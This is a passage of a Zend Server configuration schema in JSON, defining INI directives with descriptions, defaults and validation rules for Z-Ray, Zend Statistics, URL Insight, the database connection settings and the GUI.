                        "fixed": "PREVENT"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:4:{s:8:\"DISABLED\";s:8:\"DISABLED\";s:7:\"PREVENT\";s:7:\"PREVENT\";s:10:\"DECOMPRESS\";s:10:\"DECOMPRESS\";s:8:\"COMPRESS\";s:8:\"COMPRESS\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.php_character_encoding": {
                "shortDescription": "Specifies the character encoding of the PHP output",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "Auto"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.extensions_dir": {
                "shortDescription": "The folder where user's extensions live",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/var\/plugins"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.verify_accept_text_html": {
                "shortDescription": "Z-Ray will show only if client sends text\/html accept header",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.support_broken_html": {
                "shortDescription": "Z-Ray will attempt to inject itself inside broken html outputs",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.max_bound_value_size": {
                "shortDescription": "Size limit for collected SQL bound values",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_backtrace": {
                "shortDescription": "Enable or disable backtrace collection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.max_backtrace_frames": {
                "shortDescription": "Number of frames to keep per PHP backtrace",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zray.collect_superglobals": {
                "shortDescription": "Enable or disable request super globals collection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.collect_raw_output": {
                "shortDescription": "Store raw output in zray's database. possible values: 1 - store. 0 - don't store",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zray.allow_on_encoded_scripts": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Statistics": {
        "name": "Zend Statistics",
        "extensionId": "statistics",
        "isDaemon": 0,
        "shortDescription": "Keeps track of a variety of server and application performance metrics",
        "longDescription": "Zend Statistics collects information on how applications and servers are performing, and displays related data statistics in the user interface.",
        "iniFileName": "statistics.ini",
        "subPath": "statistics",
        "zemExtension": true,
        "directives": {
            "zend_statistics_extension.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_statistics_extension.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics_extension.enable_apps_plugins": {
                "shortDescription": "Enable Zend Server plugins integration",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.log_verbosity_level": {
                "shortDescription": "The log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.enable": {
                "shortDescription": "Enables statistics gathering.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_statistics.optimizerplus.enable": {
                "shortDescription": "Enables statistics gathering for O+. Data available via WebAPI only.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.pagecache.enable": {
                "shortDescription": "Enables statistics gathering for Page Cache. Data available via WebAPI only.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.datacache.enable": {
                "shortDescription": "Enables statistics gathering for Data Cache. Data available via WebAPI only.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.data_dir": {
                "shortDescription": "Location for temporary statistics data files",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/tmp\/stats"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.report_interval_daily": {
                "shortDescription": "When to flush statistics information for the daily entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.report_interval_weekly": {
                "shortDescription": "When to flush statistics information for the weekly entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": 60,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.report_interval_monthly": {
                "shortDescription": "When to flush statistics information for the monthly entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "24"
                    }
                ],
                "units": "hours",
                "validation": {
                    "minValue": 24,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.history_daily": {
                "shortDescription": "Time range for storing daily entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.history_weekly": {
                "shortDescription": "Time range for storing weekly entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "weeks",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.history_monthly": {
                "shortDescription": "Time range for storing monthly entries.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "12"
                    }
                ],
                "units": "months",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.geo_remote_addr": {
                "shortDescription": "Request headers to count as the address of request origin (comma separated list)",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "REMOTE_ADDR"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics.discard_extensions": {
                "shortDescription": "Discard requests according to the file extension",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Extension": {
        "name": "Zend Extension",
        "extensionId": "StdExtLib",
        "isDaemon": 0,
        "shortDescription": "",
        "longDescription": "",
        "iniFileName": "stdextlib.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "zend.php_sapi_version_header": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Unclassified": {
        "name": "Unclassified",
        "extensionId": "Unclassified",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "User Defined and Unknown Directives",
        "longDescription": "Directives that are not known to Zend Server",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": []
    },
    "Zend URL Insight": {
        "name": "Zend URL Insight",
        "extensionId": "statistics",
        "isDaemon": 0,
        "shortDescription": "Provides detailed metrics on specific URLs for PHP pages on your Web server",
        "longDescription": "Provides detailed metrics on specific URLs for PHP pages on your Web server",
        "iniFileName": "url_insight.ini",
        "subPath": "statistics",
        "zemExtension": true,
        "directives": {
            "zend_url_insight.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.enable": {
                "shortDescription": "Enables the URL Insight.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_url_insight.data_dir": {
                "shortDescription": "Sets the location for temporary data files.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/tmp\/apm"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.zray_enable": {
                "shortDescription": "Enable Z-Ray information for APM entries",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.daily_interval": {
                "shortDescription": "Interval used for apm data aggregation",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.weekly_interval": {
                "shortDescription": "Interval used for apm data aggregation",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "3600"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.monthly_interval": {
                "shortDescription": "Interval used for apm data aggregation",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "86400"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.daily_history": {
                "shortDescription": "Data retention time for daily resolution entries",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.weekly_history": {
                "shortDescription": "Data retention time for weekly resolution entries",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.monthly_history": {
                "shortDescription": "Data retention time for monthly resolution entries",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "365"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.zray_dumps_interval": {
                "shortDescription": "Sets the interval to create zray snapshots.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1800"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.zray_dumps_probabilty": {
                "shortDescription": "Determines the probability according to which Z-Ray provides information for URL Insight in production. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_url_insight.aggregate_by_route": {
                "shortDescription": "Use the request route details to aggregate data if possible. Otherwise - use the full URL (deprecated by zend.enable_route)",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "zend_database": {
        "name": "zend_database",
        "isDaemon": 1,
        "shortDescription": "Common Database INI file",
        "longDescription": "Common Database INI file",
        "iniFileName": "zend_database.ini",
        "subPath": "",
        "directives": {
            "zend.database.type": {
                "shortDescription": "Database Type (SQLITE, MYSQL, DB2)",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "SQLITE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{s:6:\"SQLITE\";s:6:\"SQLITE\";s:5:\"MYSQL\";s:5:\"MYSQL\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.name": {
                "shortDescription": "Name of the Database",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.host_name": {
                "shortDescription": "Hostname of the Database machine (server db only)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.port": {
                "shortDescription": "Port of the Databse (server db only)",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "3306"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.user": {
                "shortDescription": "User-name to connect to the database (server db only)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.password": {
                "shortDescription": "Password to connect to the database (server db only)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.database.sqlite_journal_mode": {
                "shortDescription": "Set the journal mode for SQLITE",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "DELETE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend GUI": {
        "name": "Zend GUI",
        "extensionId": "zendgui",
        "isDaemon": 0,
        "shortDescription": "Zend GUI",
        "longDescription": "Zend GUI list of directives",
        "iniFileName": "zs_ui.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "zend_gui.longNotificationTime": {
                "shortDescription": "",
                "type": 4,
                "section": "notifications",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.disableUpdates": {
                "shortDescription": "",
                "type": 2,
                "section": "notifications",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.extra": {
                "shortDescription": "",
                "type": 1,
                "section": "license",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.uniqueId": {
                "shortDescription": "",
                "type": 1,
                "section": "license",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.zs_upgrade": {
                "shortDescription": "",
                "type": 2,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.lockUiOnRestart": {
                "shortDescription": "",
                "type": 2,
                "section": "notifications",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.edition": {
                "shortDescription": "",
                "type": 1,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "zs"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.version": {
                "shortDescription": "",
                "type": 1,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2019.0.0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.build": {
                "shortDescription": "",
                "type": 1,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.serverProfile": {
                "shortDescription": "",
                "type": 1,
                "section": "package",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.rssUrl": {
                "shortDescription": "",
                "type": 1,
                "section": "rss",
                "visibility": "0",
                "defaultValues": [
                    {
